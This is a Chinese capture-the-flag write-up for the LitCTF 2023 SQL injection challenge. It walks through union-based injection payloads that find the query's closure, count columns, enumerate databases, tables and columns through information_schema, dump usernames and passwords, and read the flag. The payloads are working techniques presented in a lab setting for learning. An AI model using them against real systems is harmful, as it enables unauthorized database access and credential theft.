[LitCTF 2023]这是什么?SQL !注一下 !

2024-01-07 17:29:47

[LitCTF 2023]这是什么?SQL !注一下 ! wp

题目描述:为了安全起见多带了几个套罢了o()q

页面内容(往下滑):

在这里插入图片描述

SQL 语句已给出,无非是更换了闭合方式。

先输个 1 试试:

在这里插入图片描述

在下面的回显中将 SQL 语句与执行结果都回显了出来。

测试闭合方式与注释符

假如闭合方式与注释符都正确,那么输入以下内容,应当与输入 1 得到一样的结果:

1))))))--+

在这里插入图片描述

经过测试:闭合方式为 )))))) ,注释符为 --+ 时可以正确执行。

group by 查询回显位数

1)))))) group by 2--+

经过测试,回显位为两位。

输入:

1)))))) union select 1,2--+

返回结果:

在这里插入图片描述

经过测试,两位都能正常回显。

查询当前数据库名

1)))))) union select 1,database()--+

返回结果:

在这里插入图片描述

当前数据库名为 ctf 。

查询当前数据库中的所有表

1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

返回结果:

在这里插入图片描述

只有一个 users 表。

查询表中的所有列

1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+

返回结果:

在这里插入图片描述

有三列,分别是:id,username,password

查询列中的所有内容

-1)))))) union select username,password from users--+

返回结果:

在这里插入图片描述

fake_flag 意为 假的 flag 。可见,这里面并没有 flag 。那么应该在其它数据库中。

select 查询所有数据库

使用 show 查询的时候不知道为什么出不来,只好用 select 查询了。

-1)))))) union select 1,schema_name from information_schema.schemata--+

返回结果:

在这里插入图片描述

除了 ctf 之外还有一个名为 ctftraining 的数据库。进去看看。

查询 ctftraining 数据库的所有表名、列名

查询 ctftraining 数据库的所有表名:

-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+

返回结果:

在这里插入图片描述

有一个名为 flag 的表。

查询 flag 表的所有列名:

-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+

返回结果:

在这里插入图片描述

在 flag 表中有一个名为 flag 的列名。

查询 flag 列的所有内容:

-1)))))) union select 1,flag from ctftraining.flag--+

返回结果:

在这里插入图片描述

拿到 flag 。

文章来源:https://blog.csdn.net/m0_73612768/article/details/135378519
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。